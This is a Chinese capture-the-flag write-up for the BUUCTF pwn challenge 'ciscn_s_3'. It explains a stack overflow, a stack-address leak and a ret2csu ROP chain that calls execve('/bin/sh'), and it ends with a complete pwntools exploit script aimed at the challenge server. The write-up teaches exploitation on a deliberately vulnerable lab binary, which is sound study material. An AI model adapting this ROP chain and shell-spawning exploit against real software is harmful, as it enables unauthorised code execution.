这道题真的是折磨死我这个大菜鸡了,研究了2天终于研究出了点成果。先谈谈个人感官。出的其实很棒的一道题。考察的知识点也比较丰富,奈何我是真的菜,一直有些细节问题困扰着我。但本着坚持不懈,克服困难的精神,我还是把他研究出来了。参考许多大师傅的WP,我觉得有些细节没讲明白,特此我针对自己做题遇到的困惑讲解出来,以及如何想明白的。这道题其实有两种解法:1,用SROP方法去解,我还没尝试鉴于下篇文章可以写这种方法。2,就是用ret2csu的思想去解这道题,其实我觉得这道题是ret2csu和ret2sys的结合体。在此感谢一直指导我的陈师傅。我的一位师兄。
拿到题目,我们先检查开启了哪些保护以及文件类型:
64位程序,只有NX保护。我在本地开启了NO PIE方便我本地调试,但是我看到这题应该是没有开启PIE的。接着我们拖到IDA分析程序流程:
平白无奇的主函数跟进vuln():
我们看到buf缓冲区是16,sys_read的大小是0x400因此存在栈溢出。我们还看到sys_write能打出0x30个字节。
在做这题的时候我们要看对应的反汇编,不能只看IDA翻译出来的C语言。因为有些细节藏在了汇编里,我在做的时候踩的第一个坑就是没看反汇编理解程序结构。贴出vuln的反汇编代码:
既然是栈溢出嘛,我们当然想调用system('/bin/sh')很可惜的是程序中没有给出,那就考虑是不是ret2libc,但是程序中我们并没有发现存在泄漏got表的代码,在看一眼函数列表我们看到了一个程序必带的初始化函数:_libc_csu_init这是做csu题目的基础。我们能否利用这个函数来构造ROP链呢。答案是可以的。接着我们需要找到可利用的点来构造我们的rop链。我们把目光又放到了一个函数上gatgets:
看这个函数的时候一定要看反汇编,看C是得不到任何信息的, 这里出题人藏了一个很神奇的东西:mov rax,3Bh;retn。这是什么,这是调用execve的系统调用号,十进制就是59.那么这题我们的思路就有了。我们想要的东西是:execve('/bin/sh',0,0)我们需要控制的寄存器是:rdi,rsi,rdx,以及rax才能构造出我们的系统调用函数。 这里涉及的知识点就是64位系统调用传参的顺序,以及rax是放系统调用号的。就是说如图:
我们只需要知道系统调用号传给RAX,然后函数参数传参是按照64位传参方式也就是前面6个用寄存器传参。最后我们还需要一个syscall地址,可以参考题目中的系统调用:
首先rax=59并且syscall的地址我们都已经有了,接着我们看如何构造bin/sh,我尝试过在程序中查找字符串,并没有结果,那么我们只能通过read函数写进去,并且我们准确把握写入的位置以便利用,所以我们需要泄露栈地址。我们首先看read函数的反汇编:
他会把我们输入的内容的地址赋值给rsi,意思就是rsi指向我们输入的位置。接着传入系统调用号来执行系统调用。那么如何泄露栈地址呢,我们通过调试发现:
在e510的地方存了一个很像栈地址的数值,那么我们就利用他来计算相对偏移。这里我是输入了AAAAA并且RSI是指向我们输入的内容的我们看内存布局:
算出偏移为0x118。这里为什么要算这个呢,因为前面我们看到write会输出0x30,而我们的缓冲区才0x10,那么他会把栈上的地址给打印出来。而栈上我们发现存了一个栈地址,但是开启了保护,每次栈的内容都不同,但是相对偏移是一样的就像我们学ret2ibc一样,函数在got表中的相对偏移是一样的。通过这个计算,等程序输出栈地址时减去这个0x118就能得到我们往栈写入数据的起始地址。因为我们要利用read函数亲自往栈上写入/bin/sh所以得知道这个地址。现在明白了吧。接下来我们就要研究如何利用我们上述想要的寄存器了。我们前面说了可以利用_libc_csu_init这个函数:
我们知道我们构造rop的时候最喜欢找的就是pop;retn了,这里有6个pop一定是我们想要利用的。接着我们要需要利用400580这个地址的内容,利用r13来改变rdx寄存器,利用r14来改变rsi寄存器。那么此时我们还缺rdi寄存器的控制了直接用命令在程序中找:
ROPgadget --binary ciscn_s_3 --only 'pop|ret'
至此我们需要的基本都找到了。下面我们尝试构造第一次ROP链:
pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))
这里的作用是得到算出我们输入bin/sh的栈地址。前面讲的很详细为什么要这样构造。这里可能有些人不理解为什么pl1要这样构造。缓冲区是16字节接着应该是rbp其次才是返回地址。不应该'/bin/sh\x00'*2+p64(0)+p64(main)吗。我当初就是这么疑惑的,因为我想的是返回地址在rbp的下面。这里是一个细节问题我们一定要看反汇编:
这是vuln函数的反汇编,我们看到mov rbp,rsp后,rsp并没有做提升, 并且最后直接retn并没有pop rbp,因此我们直接填充完缓冲区接着覆盖rbp为我们想要的地址就可以了。程序就会被我们所控制,接着我们看第二次构造:
pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)
这里的代码用文字讲解甚是繁琐,建议调试一下理解程序执行流程,我讲一讲我疑惑的地方。就是这个sh+0x50是为什么,我看了几位师傅的博客对这里并没有很好的解释而是一笔带过,我思考了很久才明白这个sh+0x50的意义。首先大概说一下这个rop链的执行流程:
1,rip指向(pop_rbx_rbp_r12_r13_r14_r15)这个地址的代码,执行一系列pop:
此时寄存器的值为:
rbx=0
rbp=0
r12=sh+0x50
r13=0
r14=0
r15=0
2.rip指向(mov_rdxr13_call)这个地址的代码,执行:
此时rdx=0,rsi=0,edi=0,因为此时rbx=0所以call指令相当于call[r12]那么r12的值是什么呢,原来是sh+0x50这是个栈上的地址,而call的是sh+0x50这个地址里面存的地址。可能有点绕理解一下就明白了。
这是我调试返回的栈地址那么假设这就是起始位置如图:
64位程序每一个格子是8字节那么移动80个字节,当指向p64(execv)时是不是0x50的偏移量。 让call指令去执行了execv地址处的代码。接着下面的都很好理解了。整个rop的布局如图所示了。
下面是完整的exp:
from pwn import *
io=remote('node4.buuoj.cn',26135)
#io=process('./ciscn_s_3')
#gdb.attach(io)
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
sys=0x00400517
pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))
#pause()
pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)
io.interactive()
得到flag:
理解这题一定要调试,我比较喜欢画图去理解一些问题。最后总结一下理解这题:
1,清晰系统调用的规则和64传参规则。
2,利用程序中已有的东西思考利用方法。
3.泄露栈地址的方法
4.细心再细心研究清楚栈布局和偏移量
5.构造我们想要的rop
再次感谢陈师傅给我的一些建议和帮助。